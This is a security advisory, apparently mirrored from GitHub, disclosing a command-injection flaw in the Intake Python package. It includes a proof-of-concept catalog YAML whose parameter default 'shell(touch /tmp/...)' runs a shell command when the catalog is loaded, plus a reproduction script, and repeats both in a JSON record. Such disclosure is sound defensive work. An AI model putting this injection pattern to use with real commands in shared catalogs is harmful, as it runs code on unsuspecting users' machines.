GHSA-37G4-QQQV-7M99
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-03-25 20:52Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.
Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.
During catalog loading and source access:
Intake resolves parameter default values The function responsible for expanding defaults processes the shell() syntax The shell expression triggers a subprocess execution Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.
Affected logic appears to involve:
expand_defaults()
and related parameter parsing mechanisms.
PoC
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Attack Scenario
A potential attack scenario could be:
- An attacker publishes a malicious Intake catalog YAML file
- The victim downloads or loads the catalog
- The victim accesses a source entry in the catalog
- Parameter defaults are expanded
- The shell() expression triggers execution of the embedded command
Impact
If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:
- Git repositories
- shared datasets
- URLs
- data science workflows
- Any user loading the catalog could unknowingly execute commands with their local user privileges.
Recommendation
Possible mitigations could include:
- disabling shell() expansion by default
- requiring an explicit opt-in flag (e.g., allow_shell=True)
- restricting shell execution for catalogs loaded from untrusted sources Please let me know if additional information or testing is needed. I'm happy to assist with further analysis or validation.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "intake"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33310"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:54Z",
"nvd_published_at": "2026-03-24T14:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\nThe shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.\nIf a catalog contains a parameter default such as shell(\u003ccommand\u003e), the command may be executed when the catalog source is accessed.\nThis means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.\nThis behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.\n\n### Details\nThe issue appears to originate from how parameter default values are expanded when a catalog source is accessed.\n\nDuring catalog loading and source access:\n\nIntake resolves parameter default values\nThe function responsible for expanding defaults processes the shell() syntax\nThe shell expression triggers a subprocess execution\nBecause this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.\n\nAffected logic appears to involve:\n```\nexpand_defaults()\n```\nand related parameter parsing mechanisms.\n\n\n### PoC\nexploit.yaml\n```\nmetadata:\n version: 1\nsources:\n rce_test:\n driver: csv\n description: \"Testing shell expansion in parameters\"\n args:\n urlpath: \"{{ cmd_exec }}\"\n parameters:\n cmd_exec:\n display_name: \"Test Parameter\"\n type: str\n default: \"shell(touch /tmp/intake_rce_test)\"\n```\n\nreproduce.py\n```\nimport intake\nimport os\n\nPROOF_FILE = \"/tmp/intake_rce_test\"\n\nif os.path.exists(PROOF_FILE):\n os.remove(PROOF_FILE)\n\nprint(f\"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}\")\n\ntry:\n cat = intake.open_catalog(\"exploit.yaml\")\n\n print(\"Accessing source...\")\n _ = cat[\"rce_test\"]\n\nexcept Exception as e:\n print(f\" Error during execution: {e}\")\n\nif os.path.exists(PROOF_FILE):\n print(f\" Command execution confirmed, Found: {PROOF_FILE}\")\nelse:\n print(\"Command execution did not occur.\")\n```\n### Attack Scenario\nA potential attack scenario could be:\n\n1. An attacker publishes a malicious Intake catalog YAML file\n2. The victim downloads or loads the catalog\n3. The victim accesses a source entry in the catalog\n4. Parameter defaults are expanded\n5. The shell() expression triggers execution of the embedded command\n\n### Impact\n\nIf this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:\n\n- Git repositories\n- shared datasets\n- URLs\n- data science workflows\n- Any user loading the catalog could unknowingly execute commands with their local user privileges.\n\n### Recommendation\nPossible mitigations could include:\n\n- disabling shell() expansion by default\n- requiring an explicit opt-in flag (e.g., allow_shell=True)\n- restricting shell execution for catalogs loaded from untrusted sources\nPlease let me know if additional information or testing is needed.\nI\u0027m happy to assist with further analysis or validation.",
"id": "GHSA-37g4-qqqv-7m99",
"modified": "2026-03-25T20:52:29Z",
"published": "2026-03-19T17:46:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/intake/intake/security/advisories/GHSA-37g4-qqqv-7m99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33310"
},
{
"type": "WEB",
"url": "https://github.com/intake/intake/commit/d0c0b6b57c1cb3f73880655ded4a9b0e18e1fd1b"
},
{
"type": "PACKAGE",
"url": "https://github.com/intake/intake"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Intake has a Command Injection via shell() Expansion in Parameter Defaults"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.